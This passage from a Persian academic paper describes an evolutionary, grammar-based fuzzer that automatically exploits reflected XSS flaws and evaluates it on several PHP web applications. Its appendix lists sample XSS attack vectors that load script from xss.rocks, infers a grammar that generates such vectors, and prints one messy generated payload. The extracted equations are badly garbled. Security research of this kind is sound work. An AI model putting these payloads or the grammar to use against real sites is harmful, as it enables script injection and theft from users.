− 3 �𝐶𝑑𝑚�𝑣�̅�, 𝜏��� 

)11(  0 ≤ 𝑆𝑀(𝑣) ≤ 2. 𝑙𝜏  

)12(  𝑠𝐽 = 𝐽𝑎𝑐𝑐𝑎𝑟𝑑�𝑣�̅� , 𝜏, 4�               0 ≤ 𝑠𝐽 ≤ 1 

)13(  𝑠𝑃 = 𝑃𝑎𝑟𝑠�𝑣�̅�� = �𝑃𝑖𝑣
𝑡�

𝑖

 

)14(  𝑠𝐾 = 𝑇𝑜𝑘(𝜏) = �𝑊𝑖
𝜏

𝑖

 

)15(  𝑠𝑃𝐾 =
|𝑠𝑃 ∩ 𝑠𝐾|

|𝑠𝐾|                            0 ≤ 𝑠𝑃𝐾 ≤ 1 

)16(  
 

𝑋𝑡(𝑣) = �
10. 𝑠𝐽 + 100. 𝑠𝑃𝐾 + 300 𝑖𝑓 𝑠𝑃𝐾 > 0

10. 𝑠𝐽 𝑖𝑓 𝑠𝑃𝐾 = 0 

)17(  

 
�̂�𝑇𝑋

= �
𝑆𝑀(𝑣) + 𝑋𝑡(𝑣) − 𝑙𝑣𝑡 𝑖𝑓 𝑖𝑡 𝑖𝑠 ≥ 0  𝑎𝑛𝑑  𝑆𝑀(𝑣) > 0

𝑋𝑡(𝑣) 𝑖𝑓 𝑝𝑟𝑒𝑣𝑖𝑜𝑢𝑠 < 0  𝑎𝑛𝑑  𝑆𝑀(𝑣) > 0
0 𝑖𝑓 𝑆𝑀(𝑣) = 0
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)18(  𝑆𝑇𝑋 =

⎩
⎪
⎨

⎪
⎧�̂�𝑇𝑋 𝑖𝑓 𝑏(𝛿) > 0 
�̂�𝑇𝑋
10

𝑖𝑓 𝑔(𝛿) > 0

�̂�𝑇𝑋
100

𝑖𝑓 𝑛(𝛿) > 0

 

)19(  �̂�𝑋 = max
𝑇

𝑆𝑇𝑋  

)20(  𝑆𝑋 = �
10. �̂�𝑋 𝑖𝑓 �̂�𝑋 > 0
𝑆𝛿
2

𝑖𝑓 �̂�𝑋 = 0
 

)21(  𝑆𝑐(𝑣) = 𝑆𝛿 + 𝑆𝑋 − 𝐿𝛿− 

)22(  𝑆𝑡(𝑣) = 𝑆𝑐(𝑣) − min (𝑙𝑣,
𝑆𝑐(𝑣)

2
) 

)23(  
 

𝜙𝑡 = ℎ𝑡(𝑣) = �𝑆𝑡
(𝑣) 𝑖𝑓 𝑆𝑡(𝑣) > 0
0 𝑖𝑓 𝑆𝑡(𝑣) ≤ 0 

 
 4نیـز در بـازه    𝜏 و 𝑣𝑡̅همچنین فاصله جاکارد بین دو بـردار   

گردد. این فاصله به همراه امتیاز  محاسبه می )12(حرفی در رابطه 
 الذکر، در محاسبات بعدي نقش خواهند داشت. شباهت فوق

، )13(در رابطـه   :ارزیابی با استفاده از پارسر جاوا اسـکریپت 
شود و مجموعـه   به پارسر جاوا اسکریپت تحویل داده می 𝑣𝑡̅بردار 

شــود اســتخراج  عناصــري کــه توســط پارســر تشــخیص داده مــی
تشـخیص در بـردار    هـاي قابـل   گردد. از طرف دیگر تعداد توکن می

گردد. اشتراك این دو مجموعه  محاسبه می )14(در رابطه  𝜏هدف 
عداد از عناصـر  دهد که ازنظر پارسر جاوا اسکریپت، چه ت نشان می

بردار حمله که قابل پارس کردن هستند با بردار هـدف، اشـتراك   
شود که  محاسبه می 15صورت نسبی در رابطه  دارند. این میزان به

 مقداري بین صفر و یک است.

با در اختیار بودن ایـن مقـادیر، یـک امتیـاز خـالص پارسـر        
𝑋𝑡(𝑣)    ود. ش ـ تخصـیص داده مـی   16براي بردار حملـه در رابطـه

 300شود که اگر امتیاز پارسـر مثبـت باشـد حـداقل      ملاحظه می
 گیرد. امتیاز در این مرحله تعلق می

شـده در قبـل،    این امتیاز به همراه میـزان شـباهت محاسـبه    
شود و اندازه عبارت  می )17(منجر به یک امتیاز ترکیبی در رابطه 

𝑣𝑡 با قابلیت (بین بردارهاي حمله  نیز از حاصل آن کم خواهد شد
گیرند). درنهایت در  تر امتیاز کمتري می یکسان، بردارهاي طولانی

شده فعلی در کدام مجموعـه   بسته به اینکه تگ اضافه )18(رابطه 
 گردد. قرار دارد یک ضریب به امتیاز اعمال می

هاي متعـددي بـه سـاختار اضـافه      ازآنجاکه ممکن است تگ 
شـده   هـاي اضـافه   ی تـگ براي تمـام  )18 - 8(شده باشند، روابط 

انتخـاب   )19(شوند و بیشـترین مقـدار آن در رابطـه     محاسبه می
شود. اگر پس از تمام این مراحل، این مقـدار مثبـت باشـد، در     می

به ده برابر افزایش خواهد یافت و در غیر ایـن صـورت    )20(رابطه 
 عنوان امتیاز محسوب خواهد شد. به 𝑆𝛿فقط نیمی از 

جمـع   𝑆𝛿شده تاکنون با خود  امتیاز محاسبه، )21(در رابطه  

هـایی کـه از سـاختار صـفحه حـذف       شود. در اینجا تعداد تـگ  می
کننـد. هـدف از    ، امتیاز منفی خود را اعمال مـی −𝐿𝛿اند یعنی  شده

این کار این است که الگوریتم تکاملی به سمتی هدایت شـود کـه   
کنـد و لزومـاً از   تنها تغییرات مطلوب را به ساختار صـفحه اضـافه   

 ساختار آن چیزي کم نکند.

شـده، انـدازه بـردار حملـه را از      صورت کنتـرل  به )22(رابطه  
کند تا بهاي بیشتري به بردارهـاي   شده آن کسر می امتیاز محاسبه

میزان برازنـدگی   )23(تر داده شود. درنهایت در رابطه  حمله کوتاه
کند که  و تضمین میگردد  یافته به بردار حمله تعیین می اختصاص

 حداقل این مقدار برابر صفر خواهد بود.

ردار حمله  رازندگی ب ـاختار    محاسبه ب ـر در س ـار تغیی با معی
با کمک روابطی که قبلاً گفتـه شـد   ) 26-24(روابط  :محاسباتی

کنند تا برازندگی بردار حمله با معیار تغییـر در سـاختار    کمک می
هــاي مختلــف  الــتبــه ح )24(محاســباتی حســاب شــود. رابطــه 

مرزشــکنی در ســمت چــپ و راســت عبــارت محاســباتی، امتیــاز 
مکان مرز راست در محل تزریق  𝐵𝑅مکان مرز چپ و  𝐵𝐿دهد.  می

محلی است کـه پارسـر جـاوا اسـکریپت      𝐵𝐸بردار حمله هستند و 
خطا گزارش کرده است. هرچقدر از سمت چپ بـه راسـت پـیش    

ده باشد امتیاز بیشـتر خواهـد   برود و خطا در نقطه دورتري رخ دا
 بود.

صـفر باشـد    𝑠𝐽اگر خطا وجود داشته باشد ولی امتیاز جاکارد 
بردار حمله مستحق مقدار کمی پاداش است. همچنین اگـر خطـا   
وجود داشته باشد ولی ازنظر پارسر، تشـابهی بـین بـردار حملـه و     

صفر باشد بـازهم مسـتحق مقـداري     𝑠𝑃𝐾بردار هدف نباشد یعنی 
گیـرد.   داش خواهد بود که به برازندگی بـردار حملـه تعلـق مـی    پا

شـده   ها به شرطی هسـتند کـه خطـاي گـزارش     تمامی این پاداش
باشد و در این صورت مقدار  1توسط پارسر از جنس خطاي نحوي

برابر خواهد شد. اگر خطاي دیگري رخ داده باشد معیـار   100آن 
محاسـبه   16ر رابطه خواهد بود که د 𝑋𝑡(𝑣)محاسبه امتیاز همان 

 25شود که ده برابر آن لحاظ خواهد شد. این نکات در رابطـه   می
 اند. مشخص شده

دارد که امتیاز تغییر محاسـباتی تنهـا در    بیان می )26(رابطه 
یا  onclickصورتی وجود دارد که یک صفت جاوا اسکریپت (مانند 

onmouseover (  صـورت  در عبارت وجود داشته باشد در غیر ایـن
بین  27درنهایت، رابطه   هیچ امتیاز محاسباتی لحاظ نخواهد شد.

دو امتیــاز تغییــر در ســاختار صــفحه و امتیــاز تغییــر در ســاختار 
کند. البته اسـتفاده   تر است انتخاب می محاسباتی، آن را که بزرگ

جـاي آن، الگـوریتم    تـوان بـه   اختیاري اسـت و مـی   )27(از رابطه 
صورت مستقل اجرا نمود و در  این معیارها به تکاملی را با هریک از

                                                                 
1 Syntax Error 
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هاي نهایی، آن را که بهتر اسـت انتخـاب کـرد. بـر      انتها بین پاسخ
هـاي   اساس روابط و ضرایبی که ارائه گردیـد، در تمـامی آزمـایش   

پـذیري و اتهـام درسـت، مقـدار      شده در صورت کشف آسیب انجام
سایر حالات بوده است و در  4000شده برازندگی بیش از  محاسبه

مقـدار بســیار کمتــري داشــته اسـت فلــذا مقــدار آســتانه کشــف   
تعیـین   4000شـده، برابـر    پذیري در تـابع برازنـدگی ارائـه    آسیب

 گردد. می
 

)24( 

𝑋𝑏(𝑣) =

⎩
⎪
⎪
⎪
⎪
⎨

⎪
⎪
⎪
⎪
⎧0 𝑖𝑓 𝐵𝐸 < 𝐵𝐿

1 𝑖𝑓 𝐵𝐸 = 𝐵𝐿
5 𝑜𝑡ℎ𝑒𝑟𝑤𝑖𝑠𝑒 𝑖𝑓𝑠𝐽 = 0

10 + 5.
𝐵𝐸 − 𝐵𝐿
𝐵𝑅 − 𝐵𝐿

𝑜.𝑤.  𝑖𝑓  𝐵𝐸 < 𝐵𝑅

16 𝑜.𝑤.  𝑖𝑓  𝐵𝐸 = 𝐵𝑅
5 𝑜.𝑤.  𝑖𝑓 𝑠𝑃𝐾 = 0

20 +
𝐵𝐸 − 𝐵𝑅

10 𝑜.𝑤.  𝑖𝑓 
𝐵𝐸 − 𝐵𝑅

10 < 2

22 𝑜𝑡ℎ𝑒𝑟𝑤𝑖𝑠𝑒

 

 
 

)25(  𝑋𝑎(𝑣) = �
100.𝑋𝑏(𝑣) + 100.𝑠𝐽 𝑖𝑓 𝑆𝐸

10.𝑋𝑡(𝑣) 𝑖𝑓 𝑛𝑜𝑡 𝑆𝐸
 

  

)26(  𝜙𝑎 = ℎ𝑎(𝑣) = 𝑆𝑎(𝑣) = �𝑋𝑎
(𝑣) 𝑖𝑓 𝐽𝑆
0 𝑖𝑓 𝑛𝑜𝑡 𝐽𝑆 

  

)27(  𝜙 = ℎ(𝑣) = �
𝑆𝑡(𝑣) 𝑖𝑓 𝑆𝑡(𝑣) > 𝑆𝑎(𝑣)
𝑆𝑎(𝑣) 𝑜𝑡ℎ𝑒𝑟𝑤𝑖𝑠𝑒

 

 سازي و ارزیابی نتایج پیاده -4

ــه  ــابی توانمنــدي روش ارائ ــراي ارزی ــن تحقیــق در  ب شــده ای
پذیري، تعدادي برنامـه وب انتخـاب شـدند و     برداري از آسیب بهره

ها و نتایج حاصـله در   مورد آزمون قرار گرفتند. فهرست این برنامه
 پذیري در  برداري از آسیب راستاي کشف و بهره

منظور مقایسه عملکرد، نتایج مشـابه   ) آمده است. به1( جدول
ها توسط دو ابزار دیگر انجام شده است.  جستجو روي همین برنامه

) 2.8.0(نسخه   ]ZAP   ]38  سیاه مشهور و رایج  جعبهیکی ابزار 
 . ]NAVEX  ]14و دیگري ابزار مدرن و جعبه سفید 

هاي وب منتخـب، در   روي برنامه NAVEXنتایج اجراي ابزار 
بـر   ZAPمنظور اجراي ابزار  . به]14[مقاله مربوطه ذکر شده است 

ها در یک ماشین مجـازي مسـتقل    ها، هریک از آن روي این برنامه
هـا اجـرا گردیـد. جهـت      تک آن روي تک ZAPنصب شدند و ابزار 

هاي مجازي اسـتفاده   ي روش این تحقیق نیز از همین ماشیناجرا
طـور جداگانـه    هـا بـه   پذیري گردید. به این منظور هریک از آسیب

برداري، مورد تکامـل گرامـري قـرار گرفتنـد.      منظور یافتن بهره به
بردار حمله انتخاب  50تعداد اعضاء هر نسل در فرآیند تکامل برابر

نسـل تولیـد گردیـد،     200کثر تا پذیري حدا شد و براي هر آسیب
هرچند در بسیاري موارد پاسخ نهایی قبل از رسـیدن بـه آخـرین    

 نسل مشخص شده بود.

ها دو ستون وجود دارد که  براي هریک از روش )1جدول ( در
) یـا  FP( برداري موفق و دیگري تعداد اتهام غلـط  یکی تعداد بهره

منظــور از  دهــد. ) را نمــایش مــیFE( بــرداري غلــط اعــلام بهــره
برداري غلط این است که انعکاس، یعنی امکان بالقوه تزریـق،   بهره

بـرداري   بـرداري ارائـه شـده اسـت ولـی بهـره       وجود داشته و بهره
کند. ستون مکان بـالقوه تزریـق مجمـوع     شده درواقع کار نمی ارائه

دهد  هاي تزریق اسکریپت انعکاسی را نشان می پذیري تعداد آسیب
مختلف گزارش شـده و در اینترنـت قابـل یـافتن     که توسط منابع 

 است.
 

 ها نتایج آزمون و مقایسه با سایر روش :)1( جدول

NAVEX ZAP نتایج این تحقیق 
تعداد مکان بالقوه 

 تزریق
 برنامه وب تحت آزمون

 

FP/FE 
تعداد اکسپلویت 

  موفق
FP/FE 

تعداد اکسپلویت 
  موفق

FP/FE 
تعداد اکسپلویت 

  موفق
0 5 3 1 0 3 6 osCommerce-2.3.4 1 
0 2 6 1 0 11 13 myBloggie-2.1.3 2 
4 8 0 9 0 11 11 WeBid-1.2.1 3 
0 0 0 12 0 12 12 SchoolMate-1.5.4 4 
0 7 10 6 0 7 16 FaqForge-1.3.2 5 
0 14 2 8 0 8 10 WebChess-0.9 6 
0 0 0 0 0 0 0 CPG-1.5.46 7 
0 2 9 0 0 0 9 phpBB-2.0.23 8 
 9 جمع 77 52 0 37 30 38 4
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طور که از روي این جدول مشخص است، بیشترین تعداد  همان

دست  عدد) با استفاده از روش این تحقیق به 52( برداري موفق بهره
است. همچنین هیچ مورد اتهـام غلـط بـا روش ایـن تحقیـق      آمده 

ایجاد نشده است. مفهوم این موضوع این اسـت کـه اخـتلاف بـین     
پـذیري بـا روش ایـن     برداري با تعداد کل گزارش آسیب تعداد بهره

) بوده است کـه البتـه در جـدول قیـد     TN( 1تحقیق، تبرئه صحیح
شـده توسـط    برداري گزارش نشده است. در برخی موارد تعداد بهره

NAVEX  ــذیري  از روش ایــن تحقیــق و حتــی از تعــداد آســیب پ
سـتون اکسـپلویت    6شـده در اینترنـت بیشـتر اسـت(خط      گزارش

NAVEX     این امر به دلیل این است که ایـن ابـزار جعبـه سـفید .(
البته گزارش کامل نتایج خود را ارائه نکـرده اسـت.   کند و  عمل می

هـاي   % بهبود در تعداد اکسپلویت19درمجموع با روش این تحقیق 
دسـت   شده نسبت به هر دو ابزار جعبه سفید و جعبه سیاه به کشف

 ) ).52-37/(77آمده است ( 

 بحث و مقایسه -5

 پـذیري  بـرداري از آسـیب   با توجه به اینکه این تحقیق نحـوه بهـره  
تزریق اسکریپت را با استفاده از گرامـر و تکامـل گرامـري بررسـی     

مقایسـه   کند از زوایاي متعدد با سایر مقالات در این زمینه قابل می
 است.

زیادي با این تحقیـق   هاي شباهت ]4[همکارانش کار دوچن و 
دارد و هردو با استفاده از گرامر و الگوریتم تکاملی در محل بـالقوه  

پردازند. تفـاوت   پذیري می برداري از آسیب تزریق به جستجوي بهره
 ــ ــه، گرام ــه در آن مقال ــد  در اینجــا اســت ک ــه اصــلی تولی ر وظیف

هاي آزمون را به عهده ندارد ولی در این تحقیـق از تکامـل    ورودي
 گرامري استفاده شده و گرامر نقش محوري در آن دارد.

له تزریق اسکریپت را بـه یـک   حم ]19[انش محمدي و همکار
کنند.  محدود می  اجراي تابع جاوا اسکریپت یا یک عملگر تخصیص

گرامر پیشنهادي محمدي و همکارانش بازگشـتی نیسـت و امکـان    
رد. اما ایـن  وجود ندا آن روي با ساختار متنوع از حمله بردار تولید

 کند. تحقیق حمله تزریق اسکریپت را به موارد مذکور محدود نمی

ــه ]36[ســکاتو مقالــه اوانســینی و  ــراي  در ارائ یــک اوراکــل ب
آمیز بودن تزریق اسکریپت با این تحقیق شباهت  تشخیص موفقیت

هـا در تغییـر   البته اوانسـینی و سـکاتو موفقیـت تزریـق را تن     دارد.
که در این تحقیق، اوراکـل بـه    بینند درحالی ساختار صفحه وب می
گونه کـه قـبلاً ذکـر     تر اینکه همان شود. مهم این حالت محدود نمی

 وجـود  عـدم  یا وجود مورد در شد اوانسینی و سکاتو درنهایت تنها
کـه ایـن    درحالی کنند می گیري تزریق اسکریپت تصمیم حمله یک

                                                                 
1 True Negative 

پذیري نیز هست و به همـین   برداري از آسیب دنبال بهرهبه  تحقیق
 موفقیـت  اندازه و مقـدار  محاسبه براي گیري دلیل یک معیار اندازه

 ارائه کرده است. حمله

اند در  با رویکرد جعبه سفید توانسته ]14[الهذلی و همکارانش 
پذیري ارائه کنند که قبلاً توسط هیچ  برداري از آسیب مواردي بهره
عنـوان نمونـه در    سفید و جعبه سیاه ارائه نشده بود. به  روش جعبه

پـــذیري کشـــف و  چنـــین آســـیب osCommerce-2.3.4برنامـــه 
اند.  اما روش این تحقیق با رویکـرد جعبـه سـیاه     برداري کرده بهره

 نماید.برداري را کشف  قادر بوده است همان بهره

 گیري نتیجه -6

منظور  در این مقاله براي اولین بار ایده استفاده از تکامل گرامري به
پذیري تزریق اسـکریپت مطـرح گردیـد. یـک      برداري از آسیب بهره

از روي بردارهاي حمله ارائه شد و با اسـتفاده   روش استنتاج گرامر
روش، یک گرامر مخصـوص تولیـد بردارهـاي حملـه جهـت       از این 

استفاده در فازرهاي تزریق اسکریپت، تولید و ارائـه گردیـد. چهـار    
معیار براي ارزیابی بردارهاي حمله معرفی شد. تابع برازندگی براي 

  سنجش بردارهاي حمله ارائه و شرح داده شد.

برداري خودکار از  دهد که اولاً بهره نتیجه این تحقیق نشان می
پـذیري، از طریـق آزمـون فـاز و تولیـد داده ورودي آزمـون        آسیب
تواند با در اختیار داشتن  پذیر است و ثانیاً تکامل گرامري می امکان

سازي نموده و امکـان   یک گرامر مناسب، این فرآیند آزمون را پیاده
برداري از  محقق نماید. همچنین در بعضی موارد بهره برداري را بهره

پذیري توسط فازرهاي جعبه سـیاه میسـر نبـوده و تنهـا بـا       آسیب
هاي جعبه سفید امکان داشته است ولـی بـه کمـک     بعضی رویکرد

 روش این تحقیق با رویکرد جعبه سیاه نیز میسر شده است.

شود. اولاً در تواند انجام  کارهاي زیادي در ادامه این تحقیق می
مورد نحوه محاسبه برازندگی با صرف زمـان و هزینـه کمتـر جـاي     

هـاي   بندي و روش هاي زمان توان روش تحقیق وجود دارد. ثانیاً می
زمـان   احتمالاتی را با این روش ترکیب کرد تا بتوان بجاي یکی، هم

تعداد زیادي بردار حملـه تزریـق اسـکریپت و بـردار هـدف مـورد       
منظـور تمرکـز روي خـود رویکـرد      گیرنـد. ثالثـاً، بـه   جستجو قرار ب

بـرداري از تزریـق    انتخابی، در این تحقیـق تنهـا بـه بررسـی بهـره     
شده  اسکریپت از نوع انعکاسی پرداخته شده است؛ ولی مباحث ارائه

تواند با تغییرات مناسب در مورد سایر انواع تزریق اسکریپت نیز  می
تـوان در مـورد    رود. رابعاً روش پیشنهادي این تحقیق را مـی  کار به

 برد. کار بهها نیز  پذیري سایر آسیب
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 پیوست -8

در این پیوست نحوه استنتاج گرامر موردنیاز ایـن تحقیـق بـا ذکـر     
 شود. داده میمثال توضیح 

ـه:   ستنتاج گرامر اولی مثـالی از نحـوه کـار ایـن      عنـوان  بـه ا
فـرم   بردار حمله خوش 7) را در نظر بگیرید که 2جدول ( الگوریتم،

دهد. نتیجه اجراي الگوریتم سکوئیتور  تزریق اسکریپت را نشان می
 شود.  ) مشاهده می10( لشک) در 2جدول ( تغییریافته با ورودي

 شـکل صـورت   ) بـه 1نتیجه اجراي الگوریتم (گانه:  هاي سه تعمیم
نتیجه نهـایی اعمـال عملگرهـاي تعمـیم پرشـی      ) خواهد بود. 11(

) آمـده  12( شـکل پـذیري گرامـر در    کردن، جهشی کردن و توقف
شـود، در مرحلـه    ) ملاحظـه مـی  12( شکلطور که در  است. همان

)  'جاي (  هکه ب پایانی چند تغییر دیگر اعمال شده است ازجمله این
استفاده شده است که در  <RDQ>و  <RSQ>) از قواعد تولید  "و (

<RBORDER> اند. آمده 

 .فرم تزریق اسکریپت فهرستی از چند بردار حمله خوش ):2(جدول 
 شماره بردار حمله

<SCRIPT>alert('XSS');</SCRIPT> 
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> 
<IMG SRC="javascript:alert('XSS');"> 
<SCRIPT SRC=http://xss.rocks/xss.js?<B> 
<IMG SRC="javascript:alert('XSS')" 
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT> 
<SCRIPT a=">" SRC="http://xss.rocks/xss.js"></SCRIPT> 

1: 
2: 
3: 
4: 
5: 
6: 
7: 

 

 

<R0> ::= 
"<"<R1><R2><R3>|<R4>">"<R3>|<R5><R2><R6>|<R4>"?<b>"|<R5><R7>'"'|<R8>'"'<R9>"jpg"<R10> 
                                |<R11><RSPACE>"a="<R6>'"'<R12><R13><R10> 
<R1> ::= "script>" 
<R2> ::= <R7>";" 
<R3> ::= "</"<R1> 
<R4> ::= <R8><R13> 
<R5> ::= "<img"<R12>"javascript:" 
<R6> ::= '"'">" 
<R7> ::= "alert('xss')" 
<R8> ::= <R11><R14> 
<R9> ::= "http:/"<R15>"rocks"<R15> 
<R10> ::= <R6><R3> 
<R11> ::= "<script" 
<R12> ::= <R14>'"' 
<R13> ::= <R9>"js" 
<R14> ::= <RSPACE>"src=" 
<R15> ::= "/xss." 
<RSPACE> ::= " " 
<RTAB> ::= "\t" 

  .)2جدول ( اختصاصی شده با ورودي خروجی الگوریتم سکوئیتور ):10( شکل



 1400، تابستان  2، سال نهم، شماره “پدافند الکترونیکی و سایبري”نشریه علمی                                                                                                                                            118

 
 
<R0> ::= 
"<"<R1><R2><R3>|<R4>">"<R3>|<R5><R2><R6>|<R4>"?<b>"|<R5><R7>'"'|<R8>'"'<R9>"jpg"<R10> 
                    |<R11><RSPACE>"a="<R6>'"'<R12><R13><R10> 
<R1> ::= "script>" | "script>"<R2><R3> 
<R2> ::= <R7>";" | <R7>";"<R3> | <R7>";"<R6> 
<R3> ::= "</"<R1> 
<R4> ::= <R8><R13> | <R8><R13>">"<R3> | <R8><R13>"?<b>" 
<R5> ::= "<img"<R12>"javascript:" | "<img"<R12>"javascript:"<R2><R6> | 
"<img"<R12>"javascript:"<R7>'"' 
<R6> ::= '"'">" | '"'">"'"'<R12><R13><R10> | '"'">"<R3> 
<R7> ::= "alert('xss')" | "alert('xss')"'"' | "alert('xss');" 
<R8> ::= <R11><R14> | <R11><R14>'"'<R9>"jpg"<R10> | <R11><R14><R13> 
<R9> ::= "http:/"<R15>"rocks"<R15> | "http:/"<R15>"rocks"<R15>"jpg"<R10> | 
"http:/"<R15>"rocks"<R15>"js" 
<R10> ::= <R6><R3> 
<R11> ::= "<script" | "<script"<RSPACE>"a="<R6>'"'<R12><R13><R10> | "<script"<R14> 
<R12> ::= <R14>'"' | <R14>'"'<R13><R10> | <R14>'"'"javascript:" 
<R13> ::= <R9>"js" | <R9>"js"<R10> 
<R14> ::= <RSPACE>"src=" | <RSPACE>"src="'"' 
<R15> ::= "/xss." | "/xss.rocks"<R15> 
<RSPACE> ::= " " 
<RTAB> ::= "\t" 
  

 .)10( شکلبا ورودي  )1(خروجی الگوریتم  ):11( شکل

<R0> ::= 
"<"<M1><M2><M3>|<M4>">"<M3>|<M5><M2><M6>|<M4>"?<b>"|<M5><M7><RDQ> 
                                          
|<M8><RDQ><M9>"jpg"<M10>|<M11><RSPACE>"a="<M6><RDQ><M12><M13><M10> 
<R1> ::= "script>" | "script>"<R2><R3> | <RFINISH> 
<R2> ::= <R7>";" | <R7>";"<R3> | <R7>";"<R6> | <RFINISH> 
<R3> ::= "</"<R1> | <RFINISH> 
<R4> ::= <R8><R13> | <R8><R13>">"<R3> | <R8><R13>"?<b>" | <RFINISH> 
<R5> ::= "<img"<R12>"javascript:" | "<img"<R12>"javascript:"<R2><R6> | 
"<img"<R12>"javascript:"<R7><RDQ> | <RFINISH> 
<R6> ::= <RDQ>">" | <RDQ>">"<RDQ><R12><R13><R10> | <RDQ>">"<R3> | 
<RFINISH> 
<R7> ::= "alert('xss')" | "alert('xss')"<RDQ> | "alert('xss');" | <RFINISH> 
<R8> ::= <R11><R14> | <R11><R14><RDQ><R9>"jpg"<R10> | <R11><R14><R13> | 
<RFINISH> 
……………………………………………….. 
……………………………………………….. 
<R14> ::= <RSPACE>"src=" | <RSPACE>"src="<RDQ> | <RFINISH> 
<R15> ::= "/xss." | "/xss.rocks"<R15> | <RFINISH> 
<M1> ::= <RBORDER><R1><RBORDER> 
<M2> ::= <RBORDER><R2><RBORDER> 
……………………………………………….. 
……………………………………………….. 
<M13> ::= <RBORDER><R13><RBORDER> 
<M14> ::= <RBORDER><R14><RBORDER> 
<M15> ::= <RBORDER><R15><RBORDER> 
<RSPACE> ::= " " 
<RTAB> ::= "\t" 
<RDQ>  ::= '"' | "&#34;" | "%22" | "%26%2334%3B" 
<RSQ>  ::= "'" | "&#39;" | "%27" | "%26%2339%3B" 
<RBORDER>  ::= "" | <RDQ> | <RSQ> 
<RFINISH> ::= "" | "'" | '"' | ";" | "%00" 
  

  .یلی) پس از مراحل تکم2( جدول) با ورودي 2) و (1هاي ( خروجی نهایی الگوریتم ):12( شکل
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<SCR%00Ipt>%00Ipt>alert(\"xss\";alert('xss'));"></SCR%00Ipt>script>pt src=""xss.rocks/xss.js"></script>script>al
ert(&quot;xss&quot;xss&quot;)>)>xss&quot;xss&quot;)>)>'xss');">alert('xss'))'xss'))&lt;/script&gt;">alert('xss');">b
ody{background:url("javascript:alert('xss')"RSnake  says,   'xss')")}</script>style><a  class=xss><C><![CDATA[<i
mg  style="stylesheet"  id=I></script>xml>hrefxss:expr/*");;}</style><a  class=xss><!--#exec  cmd="/bin/echo  '=htt
p:///xss.rocks//xssxss.jsrocks/xss.jsxss.jsjs">  </SCR%00Ipt>alert(\"xss\"xss\"\"xss\"xss\"xss\")>)</script>alert('xss');
</style>script></style>script>'"--></a>!--#exec  cmd="stylesheet"  href/bin/echo  '<script  a=/xss//"get";>"  data="&
{alert('xss')&lt;/script&gt;"></script>'"----><meta  http-equiv="http://xss.rocks/rocks//xssscriptlet.html"></style>scri
pt>alert('xss')'xss'))>;//"></xml></script>pt  src=""http:///xss.jsrocks//xss.rocks//rocks/scriptlet.html">body{backgrou
nd:url("<SCR)';I")`>;}</style><a class=xss>< 
 

 .شده توسط گرامر استنتاج نمونه بردار حمله  یک ):13( شکل
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